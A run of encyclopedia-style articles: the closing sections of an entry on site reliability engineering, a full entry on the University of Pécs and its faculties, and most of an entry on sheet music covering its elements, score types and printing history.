Large companies who have adopted SRE tend to have a combination of the implementations described above, including multiple teams of the same implementation, e.g. multiple Product/application SRE teams to meet specific demands of several products and an Infrastructure SRE team to pair up with a Platform engineering group to meet reliability goals of a common platform for both products/applications.
Industry
The USENIX organization has held an annual SREcon conference since 2014 for site reliability engineers in the industry, and also holds regional conferences with similar themes.
See also
Chaos engineering
Cloud computing
Data center
Disaster recovery
High availability software
Infrastructure as code
Operations, administration and management
Operations management
Reliability engineering
System administration
References
Further reading
External links
Awesome Site Reliability Engineering resources list
How they SRE resources list
SRE Weekly weekly newsletter devoted to SRE
SRE at Google landing page for learning more about SRE in Google
2003 introductions
Google
Reliability engineering
Software engineering
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https://en.wikipedia.org/wiki/University%20of%20P%C3%A9cs
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University of Pécs
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The University of Pécs (UP;PTE; Hungarian: Pécsi Tudományegyetem) is an institution of higher education in Hungary. The year 1367 appears in the seal of the university, it has its roots in the medieval university founded in Pécs in 1367 by King Louis I the Great. 20,000 students presently attend the University of Pécs, approximately 4,500 of whom are international students studying in English or German.
History
The first university of Hungary was established in Pécs by King Louis I of Hungary in 1367, the letters patent issued by pope Urban V, similar to that of the University of Vienna. The university existed for a few decades, then split into two schools, one of jurisprudence and one of theology in the course of the 15th century. The university was completely discontinued during Ottoman occupation, then restarted in 1785 by Joseph II moving the Royal Academy from Győr to Pecs. In 1802 the Royal Academy was moved back to Győr by the order of Francis I, and higher education was discontinued in Pecs until 1833, when the bishop of Pecs in conjunction with the city senate founded the Pecs Academy, comprising a legal and a philosophical faculty.
The modern University of Pécs was founded in 1912, and was originally located in Pozsony (now Bratislava, Slovakia). Following World War I Pozsony became part of the newly formed Czechoslovakia. In 1921, the university moved to Pécs, where it remained to this day. In 1951 the medical faculty was separated from the university, and till 2000 was a separate institution. The university was renamed Janus Pannnonius University in 1982. The present University of Pécs was created on January 1, 2000, via the merger of Janus Pannonius University, the Medical University of Pécs and the Illyés Gyula Teacher Training College of Szekszárd.
In 2004 the Pollack Mihály Technical College is transformed into a full-fledged university faculty under the name of Pollack Mihály Faculty of Engineering. In 2005 The Faculty of Adult Education and Human Resources Development is established as the tenth faculty of the University. The College of Health Sciences becomes a full-fledged university faculty under the name of Faculty of Health Sciences in 2006. The name of the Pollack Mihály Faculty of Engineering becomes Faculty of Engineering and Information Technology
In considering the merger of the Faculty of Adult Education and Human Resources Development and the Illyés Gyula Teacher Training College of Szekszárd the Faculty of Cultural Sciences, Education and Regional Development is formed. In 2015 the university had nine faculties. In 2016 The Faculty of Pharmacy will soon be established, and as a result, the University of Pécs will once again, feature ten faculties.
After World War I, when Hungary lost most of its territory, the university was re-established in 1923 from Elisabeth (Erzsébet) University which escaped from the city of Pozsony (Bratislava, presently the capital city of Slovakia). The Elisabeth University of Sciences had four faculties (Arts, Law, Medicine and Theology) with several outstanding professors teaching in the Medical School (Pál Heim, Béla Entz, Géza Mansfeld, just to mention a few of them). In 1951 the Medical School became a separate, independent institution under the name of the Medical University of Pécs. It underwent substantial infrastructural development in the 1960s and 1970s: the new clinical and basic science blocks were built during this period. Besides the general medicine program, training in dentistry and pharmacy were launched in 1973 and 2001. Meanwhile, the English Program in General Medicine was implemented in 1984, the first medical education program of its kind in Central Europe. A similar German Program was initiated in 2004.
Science, Research, Innovation
The Szentágothai Research Centre of the University of Pécs is a research institute established on the basis of modern international science organizational and management normatives.
The Technology Transfer Office has been at the disposal of researchers, students and business partners.
Education
As a part of the European higher Education system, UP operates in the terms of the Bologna process offering the three-tier system consisting of bachelor level programs (BA, BSc) which last 6-8 semesters, master level programs (MA, MSc) with a duration of 2-4 semesters and doctoral level programs (PhD, DLA). Additionally, the University offers one-tier, undivided, long-term Master’s degree programs (5-6 years) in the domain of medicine, law, arts and engineering. Furthermore, interested students have the opportunity to experience short programs, such as preparatory courses, summer universities, and partial trainings.
Faculties of the University of Pécs
Faculty of Business and Economics
The students of the Faculty of Business and Economics learn how to solve problems, either by quantitative, interpersonal, networking or leadership skills. UPFBE’s BSc in Business Administration and Management program has gained EFMD EPAS international accreditation in 2020. This leading international quality assessment system is the most thorough and comprehensive programme accreditation of business programmes. With receiving this accreditation UPFBE has become member of the international elite. It is the second institution in Hungary which was awarded this widely acknowledged accreditation but also one of the firsts among the Central European schools located outside city capitals.
Faculty of Cultural Sciences, Education and Regional Development
The main focus is to train future intellectuals with creative and critical thinking skills, who are able to respond to the challenges of our era and willing to lead positive changes in the world. The Faculty provides courses, high standard scientific events, and innovative, hands-on practices beyond well-established theoretical knowledge. Our main campus is in Szekszárd, a town near Pécs (appr. 50km).
The Pre-school Teaching BA Program in English is our brand-new course (since 2019), based on the myriads of well-developed and unique expertise of our professors in training pre-school professionals in Hungary.
Faculty of Engineering and Information Technology
The 8 basic training programs cover technical, artistic and information technology studies in architecture, civil engineering, electrical engineering, information technology and architectural design.
The undergraduate and postgraduate programs in computer, electrical, and civil engineering available in English are designed to equip students with theoretical and practical skills that are vital for a professional career in their chosen field.
The postgraduate programs focus on developing experimental technical and computer skills that reflect current trends within the engineering field giving the students cutting edge knowledge in the discipline.
Faculty of Health Sciences
The Faculty of Health Sciences is one of the youngest Faculties of our University where teaching began in 1990.
Health Sciences at the University of Pécs encompass a broad range of medical topics ranging from physiotherapy to nursing to dietetics that are designed to train students in the fields of human health and wellbeing. In general terms, the programs help face the ever-changing challenges of the societies, advancing the students’ understanding of communities and individuals to promote healthier lifestyles that improve public health. The knowledge and skills available in these courses are in growing demand across the public, private, and charitable sectors.
Facutly of Humanities and Social Sciences
The Faculty of Humanities and Social Sciences represents three main disciplines: humanities, social sciences and psychology/education. The Faculty has a rich tradition in teaching and researching classical liberal art disciplines such as linguistics, literature, history, ethnography, anthropology, foreign languages and cultures, psychology, philosophy, and aesthetics. The Faculty also excels is social science such as communication, sociology, social work, political science, and international studies.
The Faculty is one of the largest at UP and offers an extensive training portfolio. Its popularity among both Hungarian and international students has increased significantly in recent years.
Faculty of Law
The Faculty provides high standard training for more than 2000 students. Students can pursue their studies in buildings that have been renovated with great care, preserving architectural authenticity and the patina of by-gone eras while also preparing for the technical challenges of the future.
Faculty of Music and Visual Arts
The Faculty of Music and Visual Arts in Pécs is the only centre of higher education in Hungary that integrates training in music and fine arts.
The main body of the Faculty's artist teachers is constituted by fine artists and musicians who have settled down in Pécs.
The private and public collections of the city offering a uniquely comprehensive introduction to 20th century Hungarian art, the numerous concerts, the city’s symphonic orchestra, the long tradition of choral music, and several other internationally renowned artistic groups provide a strong foundation for the Faculty as a higher educational centre in the arts.
Many of the programs require students to undertake both theoretical and practical instruction. For example, besides general music theory and music history classes, the curriculum may involve practical issues related to the human voice, visits to concerts, and playing an active role in the chosen art form.
Faculty of Pharmacy
Pharmacists, experts on medication, carry out a variety of activities depending on the needs of communities they work for. They formulate and control pharmaceutics, know the actions and uses of medicine, the effect medicine has on the human body, as well as the interaction of different agents, the biological benefits of different preparations and the modes for the rational, economical and effective administration of drugs.
The study programs prepare pharmacists who –based on the acquired theoretical knowledge- have both hands-on skills and ethical views. As a result, they are able to participate in the multifaceted systems of health care, pharmaceutical research, and technology, including manufacturing and engineering sciences.
Faculty of Sciences
The six institutes constituting the Faculty of Sciences offer exceptional programs surrounding the core disciplines of Biology, Physics, and Chemistry. Computer Science, Physical Training, and Earth Sciences are also available. Each of these programs are designed to provide students with a complete education in the subject, touching on both fundamental and specialised topics.
The Faculty also places a great emphasis on research and innovation by ensuring our programs are scientifically cutting edge.
Medical School
The Medical School of UP is one of only four Medical Schools in Hungary. The University of Pécs established its first English-taught program in 1984 (it was the first in Hungary) and the German program in 2004.
The Medical School employs over 500 physicians, researchers and medical professionals to ensure it brings the highest standard of education to all its students and provides the best medical care to the citizens of Pécs. The University has over 30 clinics and teaching hospitals (domestic and abroad), which students have the opportunity to practice at.
International Studies Center
The International Studies Center (ISC) of the University of Pécs Medical School offers complex and integrated preparatory programs for degree studies that meet the language development needs of international students and facilitate their integration into the context of higher education in Hungary. The primary objective of the programs at the ISC is to provide high quality preparatory and language courses in Hungarian and English to foreign students. ISC provides the students with general and academic language skills, as well as courses specifically tailored to prepare them for the entrance exam in the fields of their study. The aim of the programs is to prepare students to be successful in their university studies and to encourage them to participate in the international cultural and recreational events in Pécs and the surrounding area.
See also
List of medieval universities
Notes
References
Pécsi Tudományegyetem: University of Pécs, 1367. Eds.: Harka, Glass. Pécs: UP, 2007.
Fényes, Miklós. Középkori egyetemek Magyarországon, A Pécsi Egyetem története. In: Bibliographie internationale l'histoire des Universités II. Genève: Librairie Droz, 1976.
Petrovics, István. A középkori pécsi egyetem és alapítója. Aetas, 2005-04. 2.
Kéri, Katalin, dr. A pécsi egyetem a középkorban. (In: Napi Magyarország, 1998. március 7., 16. o.)
The history of the University of Pécs and the Medical School. https://aok.pte.hu/en/menupont/16
Fedeles, Tamás [et al.]. Centuries of higher education in Pécs. Pécs: University of Pécs, 2017. .
A pécsi felsőoktatás évszázadai = The centuries of higher education in Pécs / [comp. by István Lengvári, Pécs: University of Pécs Marketing Department, 2014. .
External links
Hungarian home page of the University of Pécs
Szentágothai Research Centre of the University of Pécs
Technology Transfer Office
International Studies Center
University of Pécs University Library and Knowledge Centre
Alumni Circle
Educational institutions established in the 14th century
1367 establishments in Europe
14th-century establishments in Hungary
University
Baranya (region)
History of Baranya (region)
Buildings and structures in Pécs
Tourist attractions in Pécs
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https://en.wikipedia.org/wiki/Sheet%20music
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Sheet music
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Sheet music is a handwritten or printed form of musical notation that uses musical symbols to indicate the pitches, rhythms, or chords of a song or instrumental musical piece. Like its analogs – printed books or pamphlets in English, Arabic, or other languages – the medium of sheet music typically is paper (or, in earlier centuries, papyrus or parchment). Although the access to musical notation since the 1980s has included the presentation of musical notation on computer screens and the development of scorewriter computer programs that can notate a song or piece electronically, and, in some cases, "play back" the notated music using a synthesizer or virtual instruments.
The use of the term "sheet" is intended to differentiate written or printed forms of music from sound recordings (on vinyl record, cassette, CD), radio or TV broadcasts or recorded live performances, which may capture film or video footage of the performance as well as the audio component. In everyday use, "sheet music" (or simply "music") can refer to the print publication of commercial sheet music in conjunction with the release of a new film, TV show, record album, or other special or popular event which involves music. The first printed sheet music made with a printing press was made in 1473.
Sheet music is the basic form in which Western classical music is notated so that it can be learned and performed by solo singers or instrumentalists or musical ensembles. Many forms of traditional and popular Western music are commonly learned by singers and musicians "by ear", rather than by using sheet music (although in many cases, traditional and pop music may also be available in sheet music form).
The term score is a common alternative (and more generic) term for sheet music, and there are several types of scores, as discussed below. The term score can also refer to theatre music, orchestral music or songs written for a play, musical, opera or ballet, or to music or songs written for a television programme or film; for the last of these, see Film score.
Elements
Title and credit
Sheet music from the 20th and 21st century typically indicates the title of the song or composition on a title page or cover, or on the top of the first page, if there is no title page or cover. If the song or piece is from a movie, Broadway musical, or opera, the title of the main work from which the song/piece is taken may be indicated.
If the songwriter or composer is known, their name is typically indicated along with the title. The sheet music may also indicate the name of the lyric-writer, if the lyrics are by a person other than one of the songwriters or composers. It may also the name of the arranger, if the song or piece has been arranged for the publication. No songwriter or composer name may be indicated for old folk music, traditional songs in genres such as blues and bluegrass, and very old traditional hymns and spirituals, because for this music, the authors are often unknown; in such cases, the word Traditional is often placed where the composer's name would ordinarily go.
Title pages for songs may have a picture illustrating the characters, setting, or events from the lyrics. Title pages from instrumental works may omit an illustration, unless the work is program music which has, by its title or section names, associations with a setting, characters, or story.
Musical notation
The type of musical notation varies a great deal by genre or style of music. In most classical music, the melody and accompaniment parts (if present) are notated on the lines of a staff using round note heads. In classical sheet music, the staff typically contains:
a clef, such as bass clef or treble clef
a key signature indicating the key—for instance, a key signature with three sharps is typically used for the key of either A major or F minor
a time signature, which typically has two numbers aligned vertically with the bottom number indicating the note value that represents one beat and the top number indicating how many beats are in a bar—for instance, a time signature of indicates that there are two quarter notes (crotchets) per bar.
Most songs and pieces from the Classical period (ca. 1750) onward indicate the piece's tempo using an expression—often in Italian—such as Allegro (fast) or Grave (slow) as well as its dynamics (loudness or softness). The lyrics, if present, are written near the melody notes. However, music from the Baroque era (ca. 1600–1750) or earlier eras may have neither a tempo marking nor a dynamic indication. The singers and musicians of that era were expected to know what tempo and loudness to play or sing a given song or piece due to their musical experience and knowledge. In the contemporary classical music era (20th and 21st century), and in some cases before (such as the Romantic period in German-speaking regions), composers often used their native language for tempo indications, rather than Italian (e.g., "fast" or "schnell") or added metronome markings (e.g., = 100 beats per minute).
These conventions of classical music notation, and in particular the use of English tempo instructions, are also used for sheet music versions of 20th and 21st century popular music songs. Popular music songs often indicate both the tempo and genre: "slow blues" or "uptempo rock". Pop songs often contain chord names above the staff using letter names (e.g., C Maj, F Maj, G7, etc.), so that an acoustic guitarist or pianist can improvise a chordal accompaniment.
In other styles of music, different musical notation methods may be used. In jazz, for example, while most professional performers can read "classical"-style notation, many jazz tunes are notated using chord charts, which indicate the chord progression of a song (e.g., C, A7, d minor, G7, etc.) and its form. Members of a jazz rhythm section (a piano player, jazz guitarist and bassist) use the chord chart to guide their improvised accompaniment parts, while the "lead instruments" in a jazz group, such as a saxophone player or trumpeter, use the chord changes to guide their solo improvisation. Like popular music songs, jazz tunes often indicate both the tempo and genre: "slow blues" or "fast bop".
Professional country music session musicians typically use music notated in the Nashville Number System, which indicates the chord progression using numbers (this enables bandleaders to change the key at a moment's notice). Chord charts using letter names, numbers, or Roman numerals (e.g., I–IV–V) are also widely used for notating music by blues, R&B, rock music and heavy metal musicians. Some chord charts do not provide any rhythmic information, but others use slashes to indicate beats of a bar and rhythm notation to indicate syncopated "hits" that the songwriter wants all of the band to play together. Many guitar players and electric bass players learn songs and note tunes using tablature, which is a graphic representation of which frets and strings the performer should play. "Tab" is widely used by rock music and heavy metal guitarists and bassists. Singers in many popular music styles learn a song using only a lyrics sheet, learning the melody and rhythm "by ear" from the recording.
Purpose and use
Sheet music can be used as a record of, a guide to, or a means to perform, a song or piece of music. Sheet music enables instrumental performers who are able to read music notation (a pianist, orchestral instrument players, a jazz band, etc.) or singers to perform a song or piece. Music students use sheet music to learn about different styles and genres of music. The intended purpose of an edition of sheet music affects its design and layout. If sheet music is intended for study purposes, as in a music history class, the notes and staff can be made smaller and the editor does not have to be worried about page turns. For a performance score, however, the notes have to be readable from a music stand and the editor has to avoid excessive page turns and ensure that any page turns are placed after a rest or pause (if possible). As well, a score or part in a thick bound book will not stay open, so a performance score or part needs to be in a thinner binding or use a binding format which will lay open on a music stand.
In classical music, authoritative musical information about a piece can be gained by studying the written sketches and early versions of compositions that the composer might have retained, as well as the final autograph score and personal markings on proofs and printed scores.
Comprehending sheet music requires a special form of literacy: the ability to read music notation. An ability to read or write music is not a requirement to compose music. There have been a number of composers and songwriters who have been capable of producing music without the capacity themselves to read or write in musical notation, as long as an amanuensis of some sort is available to write down the melodies they think of. Examples include the blind 18th-century composer John Stanley and the 20th-century songwriters Lionel Bart, Irving Berlin and Paul McCartney. As well, in traditional music styles such as the blues and folk music, there are many prolific songwriters who could not read music, and instead played and sang music "by ear".
The skill of sight reading is the ability of a musician to perform an unfamiliar work of music upon viewing the sheet music for the first time. Sight reading ability is expected of professional musicians and serious amateurs who play classical music, jazz and related forms. An even more refined skill is the ability to look at a new piece of music and hear most or all of the sounds (melodies, harmonies, timbres, etc.) in one's head without having to play the piece or hear it played or sung. Skilled composers and conductors have this ability, with Beethoven being a noted historical example. Not everyone has that specific skill. For some people music sheets are meaningless, whereas others may view them as melodies and a form of art. As Jodi Picoult, an American writer once said in her novel entitled "my sister's keeper", “it's like picking up an unfamiliar piece of sheet music & starting to stumble through it, only to realize it is a melody you'd once learned by heart, one you can play without even trying.”
Classical musicians playing orchestral works, chamber music, sonatas and singing choral works ordinarily have the sheet music in front of them on a music stand when performing (or held in front of them in a music folder, in the case of a choir), with the exception of solo instrumental performances of solo pieces, concertos, or solo vocal pieces (art song, opera arias, etc.), where memorization is expected. In jazz, which is mostly improvised, sheet music (called a lead sheet in this context) is used to give basic indications of melodies, chord changes, and arrangements. Even when a jazz band has a lead sheet, chord chart or arranged music, many elements of a performance are improvised.
Handwritten or printed music is less important in other traditions of musical practice. However, such as traditional music and folk music, in which singers and instrumentalists typically learn songs "by ear" or from having a song or tune taught to them by another person. Although much popular music is published in notation of some sort, it is quite common for people to learn a song by ear. This is also the case in most forms of western folk music, where songs and dances are passed down by oral – and aural – tradition. Music of other cultures, both folk and classical, is often transmitted orally, though some non-Western cultures developed their own forms of musical notation and sheet music as well.
Although sheet music is often thought of as being a platform for new music and an aid to composition (i.e., the composer "writes" the music down), it can also serve as a visual record of music that already exists. Scholars and others have made transcriptions to render Western and non-Western music in readable form for study, analysis and re-creative performance. This has been done not only with folk or traditional music (e.g., Bartók's volumes of Magyar and Romanian folk music), but also with sound recordings of improvisations by musicians (e.g., jazz piano) and performances that may only partially be based on notation. An exhaustive example of the latter in recent times is the collection The Beatles: Complete Scores (London: Wise Publications, 1993), which seeks to transcribe into staves and tablature all the songs as recorded by the Beatles in instrumental and vocal detail.
Types
Modern sheet music may come in different formats. If a piece is composed for just one instrument or voice (such as a piece for a solo instrument or for a cappella solo voice), the whole work may be written or printed as one piece of sheet music. If an instrumental piece is intended to be performed by more than one person, each performer will usually have a separate piece of sheet music, called a part, to play from. This is especially the case in the publication of works requiring more than four or so performers, though invariably a full score is published as well. The sung parts in a vocal work are not usually issued separately today, although this was historically the case, especially before music printing made sheet music widely available.
Sheet music can be issued as individual pieces or works (for example, a popular song or a Beethoven sonata), in collections (for example works by one or several composers), as pieces performed by a given artist, etc.
When the separate instrumental and vocal parts of a musical work are printed together, the resulting sheet music is called a score. Conventionally, a score consists of musical notation with each instrumental or vocal part in vertical alignment (meaning that concurrent events in the notation for each part are orthographically arranged). The term score has also been used to refer to sheet music written for only one performer. The distinction between score and part applies when there is more than one part needed for performance.
Scores come in various formats.
Full scores, variants, and condensations
A full score is a large book showing the music of all instruments or voices in a composition lined up in a fixed order. It is large enough for a conductor to be able to read while directing orchestra or opera rehearsals and performances. In addition to their practical use for conductors leading ensembles, full scores are also used by musicologists, music theorists, composers and music students who are studying a given work. We distinguish different scores;
A miniature score is like a full score but much reduced in size. It is too small for use in a performance by a conductor, but handy for studying a piece of music, whether it be for a large ensemble or a solo performer. A miniature score may contain some introductory remarks.
A study score is sometimes the same size as, and often indistinguishable from, a miniature score, except in name. Some study scores are octavo size and are thus somewhere between full and miniature score sizes. A study score, especially when part of an anthology for academic study, may include extra comments about the music and markings for learning purposes.
A piano score (or piano reduction) is a more or less literal transcription for piano of a piece intended for many performing parts, especially orchestral works; this can include purely instrumental sections within large vocal works (see vocal score immediately below). Such arrangements are made for either piano solo (two hands) or piano duet (one or two pianos, four hands). Extra small staves are sometimes added at certain points in piano scores for two hands to make the presentation more complete, though it is usually impractical or impossible to include them while playing.
As with vocal score (below), it takes considerable skill to reduce an orchestral score to such smaller forms because the reduction needs to be not only playable on the keyboard but also thorough enough in its presentation of the intended harmonies, textures, figurations, etc. Sometimes markings are included to show which instruments are playing at given points.
While piano scores are usually not meant for performance outside of study and pleasure (Franz Liszt's concert transcriptions of Beethoven's symphonies being one group of notable exceptions), ballets get the most practical benefit from piano scores because with one or two pianists they allow the ballet to do many rehearsals at a much lower cost, before an orchestra has to be hired for the final rehearsals. Piano scores can also be used to train beginning conductors, who can conduct a pianist playing a piano reduction of a symphony; this is much less costly than conducting a full orchestra. Piano scores of operas do not include separate staves for the vocal parts, but they may add the sung text and stage directions above the music.
A part is an extraction from the full score of a particular instrument's part. It is used by orchestral players in performance, where the full score would be too cumbersome. However, in practice, it can be a substantial document if the work is lengthy, and a particular instrument is playing for much of its duration.
Vocal scores
A vocal score (or, more properly, piano-vocal score) is a reduction of the full score of a vocal work (e.g., opera, musical, oratorio, cantata, etc.) to show the vocal parts (solo and choral) on their staves and the orchestral parts in a piano reduction (usually for two hands) underneath the vocal parts; the purely orchestral sections of the score are also reduced for piano. If a portion of the work is a cappella, a piano reduction of the vocal parts is often added to aid in rehearsal (this often is the case with a cappella religious sheet music).
Piano-vocal scores serve as a convenient way for vocal soloists and choristers to learn the music and rehearse separately from the orchestra. The vocal score of a musical typically does not include the spoken dialogue, except for cues. Piano-vocal scores are used to provide piano accompaniment for the performance of operas, musicals and oratorios by amateur groups and some small-scale professional groups. This may be done by a single piano player or by two piano players. With some 2000s-era musicals, keyboardists may play synthesizers instead of piano.
The related but less common choral score contains the choral parts with reduced accompaniment.
The comparable organ score exists as well, usually in association with church music for voices and orchestra, such as arrangements (by later hands) of Handel's Messiah. It is like the piano-vocal score in that it includes staves for the vocal parts and reduces the orchestral parts to be performed by one person. Unlike the vocal score, the organ score is sometimes intended by the arranger to substitute for the orchestra in performance if necessary.
A collection of songs from a given musical is usually printed under the label vocal selections. This is different from the vocal score from the same show in that it does not present the complete music, and the piano accompaniment is usually simplified and includes the melody line.
Other types
A short score is a reduction of a work for many instruments to just a few staves. Rather than composing directly in full score, many composers work out some type of short score while they are composing and later expand the complete orchestration. An opera, for instance, may be written first in a short score, then in full score, then reduced to a vocal score for rehearsal. Short scores are often not published; they may be more common for some performance venues (e.g., band) than in others. Because of their preliminary nature, short scores are the principal reference point for those composers wishing to attempt a 'completion' of another's unfinished work (e.g. Movements 2 through 5 of Gustav Mahler's 10th Symphony or the third act of Alban Berg's opera Lulu).
An open score is a score of a polyphonic piece showing each voice on a separate staff. In Renaissance or Baroque keyboard pieces, open scores of four staves were sometimes used instead of the more modern convention of one staff per hand. It is also sometimes synonymous with full score (which may have more than one part per staff).
Scores from the Baroque period (1600-1750) are very often in the form of a bass line in the bass clef and the melodies played by instrument or sung on an upper stave (or staves) in the treble clef. The bass line typically had figures written above the bass notes indicating which intervals above the bass (e.g., chords) should be played, an approach called figured bass. The figures indicate which intervals the harpsichordist, pipe organist or lute player should play above each bass note.
Popular music
A lead sheet specifies only the melody, lyrics and harmony, using one staff with chord symbols placed above and lyrics below. It is commonly used in popular music and in jazz to capture the essential elements of song without specifying the details of how the song should be arranged or performed.
A chord chart (or simply, chart) contains little or no melodic information at all but provides fundamental harmonic information. Some chord charts also indicate the rhythm that should be played, particularly if there is a syncopated series of "hits" that the arranger wants all of the rhythm section to perform. Otherwise, chord charts either leave the rhythm blank or indicate slashes for each beat.
This is the most common kind of written music used by professional session musicians playing jazz or other forms of popular music and is intended for the rhythm section (usually containing piano, guitar, bass and drums) to improvise their accompaniment and for any improvising soloists (e.g., saxophone players or trumpet players) to use as a reference point for their extemporized lines.
A fake book is a collection of jazz songs and tunes with just the basic elements of the music provided. There are two types of fake books: (1) collections of lead sheets, which include the melody, chords, and lyrics (if present), and (2) collections of songs and tunes with only the chords. Fake books that contain only the chords are used by rhythm section performers (notably chord-playing musicians such as electric guitarists and piano players and the bassist) to help guide their improvisation of accompaniment parts for the song. Fake books with only the chords can also be used by "lead instruments" (e.g., saxophone or trumpet) as a guide to their improvised solo performances. Since the melody is not included in chord-only fake books, lead instrument players are expected to know the melody.
A tablature (or tab) is a special type of musical score – most typically for a solo instrument – which shows where to play the pitches on the given instrument rather than which pitches to produce, with rhythm indicated as well. Tablature is widely used in the 2000s for guitar and electric bass songs and pieces in popular music genres such as rock music and heavy metal music. This type of notation was first used in the late Middle Ages, and it has been used for keyboard (e.g., pipe organ) and for fretted string instruments (lute, guitar).
History
Outside modern eurocentric cultures exists a wide variety of systems of musical notation, each adapted to the peculiar needs of the musical cultures in question, and some highly evolved classical musics do not use notation at all (or only in rudimentary forms as mnemonic aids) such as the khyal and dhrupad forms of Northern India. Western musical notation systems describe only music adapted to the needs of musical forms and instruments based on equal temperament, but are ill-equipped to describe musics of other types, such as the courtly forms of Japanese gagaku, Indian dhrupad, or the percussive music of ewe drumming. The infiltration of Western staff notation into these cultures has been described by the musicologist Alain Daniélou and others as a process of cultural imperialism.
Precursors to sheet music
Musical notation was developed before parchment or paper were used for writing. The earliest form of musical notation can be found in a cuneiform tablet that was created at Nippur, in Sumer (today's Iraq) in about 2000 BC. The tablet represents fragmentary instructions for performing music, that the music was composed in harmonies of thirds, and that it was written using a diatonic scale.
A tablet from about 1250 BC shows a more developed form of notation. Although the interpretation of the notation system is still controversial, it is clear that the notation indicates the names of strings on a lyre, the tuning of which is described in other tablets. Although they are fragmentary, these tablets represent the earliest notated melodies found anywhere in the world.
Ancient Greek musical notation was in use from at least the 6th century BC until approximately the 4th century AD; several complete compositions and fragments of compositions using this notation survive. The notation consists of symbols placed above text syllables. An example of a complete composition is the Seikilos epitaph, which has been variously dated between the 2nd century BC to the 1st century AD.
In ancient Greek music, three hymns by Mesomedes of Crete exist in manuscript. One of the oldest known examples of music notation is a papyrus fragment of the Hellenic era play Orestes (408 BC) has been found, which contains musical notation for a choral ode. Ancient Greek notation appears to have fallen out of use around the time of the Decline of the Roman Empire.
Western manuscript notation
Before the 15th century, Western music was written by hand and preserved in manuscripts, usually bound in large volumes. The best-known examples of Middle Ages music notation are medieval manuscripts of monophonic chant. Chant notation indicated the notes of the chant melody, but without any indication of the rhythm. In the case of Medieval polyphony, such as the motet, the parts were written in separate portions of facing pages. This process was aided by the advent of mensural notation, which also indicated the rhythm and was paralleled by the medieval practice of composing parts of polyphony sequentially, rather than simultaneously (as in later times). Manuscripts showing parts together in score format were rare and limited mostly to organum, especially that of the Notre Dame school. During the Middle Ages, if an Abbess wanted to have a copy of an existing composition, such as a composition owned by an Abbess in another town, she would have to hire a copyist to do the task by hand, which would be a lengthy process and one that could lead to transcription errors.
Even after the advent of music printing in the mid-1400s, much music continued to exist solely in composers' hand-written manuscripts well into the 18th century.
Printing
15th century
There were several difficulties in translating the new printing press technology to music. In the first printed book to include music, the Mainz Psalter (1457), the music notation (both staff lines and notes) was added in by hand. This is similar to the room left in other incunabulae for capitals. The psalter was printed in Mainz, Germany by Johann Fust and Peter Schöffer, and one now resides in Windsor Castle and another at the British Library. Later, staff lines were printed, but scribes still added in the rest of the music by hand. The greatest difficulty in using movable type to print music is that all the elements must line up – the note head must be properly aligned with the staff. In vocal music, text must be aligned with the proper notes (although at this time, even in manuscripts, this was not a high priority).
Music engraving is the art of drawing music notation at high quality for the purpose of mechanical reproduction. The first machine-printed music appeared around 1473, approximately 20 years after Gutenberg introduced the printing press. In 1501, Ottaviano Petrucci published Harmonice Musices Odhecaton A, which contained 96 pieces of printed music. Petrucci's printing method produced clean, readable, elegant music, but it was a long, difficult process that required three separate passes through the printing press. Petrucci later developed a process which required only two passes through the press. But it was still taxing since each pass required very precise alignment for the result to be legible (i.e., so that the note heads would be correctly lined up with the staff lines). This was the first well-distributed printed polyphonic music. Petrucci also printed the first tablature with movable type. Single impression printing, in which the staff lines and notes could be printed in one pass, first appeared in London around 1520. Pierre Attaingnant brought the technique into wide use in 1528, and it remained little changed for 200 years.
A common format for issuing multi-part, polyphonic music during the Renaissance was partbooks. In this format, each voice-part for a collection of five-part madrigals, for instance, would be printed separately in its own book, such that all five part-books would be needed to perform the music. The same partbooks could be used by singers or instrumentalists. Scores for multi-part music were rarely printed in the Renaissance, although the use of score format as a means to compose parts simultaneously (rather than successively, as in the late Middle Ages) is credited to Josquin des Prez.
The effect of printed music was similar to the effect of the printed word, in that information spread faster, more efficiently, at a lower cost, and to more people than it could through laboriously hand-copied manuscripts. It had the additional effect of encouraging amateur musicians of sufficient means, who could now afford sheet music, to perform. This in many ways affected the entire music industry. Composers could now write more music for amateur performers, knowing that it could be distributed and sold to the middle class.
This meant that composers did not have to depend solely on the patronage of wealthy aristocrats. Professional players could have more music at their disposal and they could access music from different countries. It increased the number of amateurs, from whom professional players could then earn money by teaching them. Nevertheless, in the early years, the cost of printed music limited its distribution. Another factor that limited the impact of printed music was that in many places, the right to print music was granted by the monarch, and only those with a special dispensation were allowed to do so, giving them a monopoly. This was often an honour (and economic boon) granted to favoured court musicians or composers.
16th century
Mechanical plate engraving was developed in the late sixteenth century. Although plate engraving had been used since the early fifteenth century for creating visual art and maps, it was not applied to music until 1581. In this method, a mirror image of a complete page of music was engraved onto a metal plate. Ink was then applied to the grooves, and the music print was transferred onto paper. Metal plates could be stored and reused, which made this method an attractive option for music engravers. Copper was the initial metal of choice for early plates, but by the eighteenth century, pewter became the standard material due to its malleability and lower cost.
Plate engraving was the methodology of choice for music printing until the late nineteenth century, at which point its decline was hastened by the development of photographic technology. Nevertheless, the technique has survived to the present day and is still occasionally used by select publishers such as G. Henle Verlag in Germany.
As musical composition increased in complexity, so too did the technology required to produce accurate musical scores. Unlike literary printing, which mainly contains printed words, music engraving communicates several different types of information simultaneously. To be clear to musicians, it is imperative that engraving techniques allow absolute precision. Notes of chords, dynamic markings, and other notation line up with vertical accuracy. If text is included, each syllable matches vertically with its assigned melody. Horizontally, subdivisions of beats are marked not only by their flags and beams, but also by the relative space between them on the page. The logistics of creating such precise copies posed several problems for early music engravers, and have resulted in the development of several music engraving technologies.
19th century
In the 19th century, the music industry was dominated by sheet music publishers. In the United States, the sheet music industry rose in tandem with blackface minstrelsy. The group of New York City-based music publishers, songwriters and composers dominating the industry was known as "Tin Pan Alley". In the mid-19th century, copyright control of melodies was not as strict, and publishers would often print their own versions of the songs popular at the time. With stronger copyright protection laws late in the century, songwriters, composers, lyricists, and publishers started working together for their mutual financial benefit. New York City publishers concentrated on vocal music. The biggest music houses established themselves in New York City, but small local publishers – often connected with commercial printers or music stores – continued to flourish throughout the country. An extraordinary number of East European immigrants became the music publishers and songwriters on Tin Pan Alley-the most famous being Irving Berlin. Songwriters who became established producers of successful songs were hired to be on the staff of the music houses.
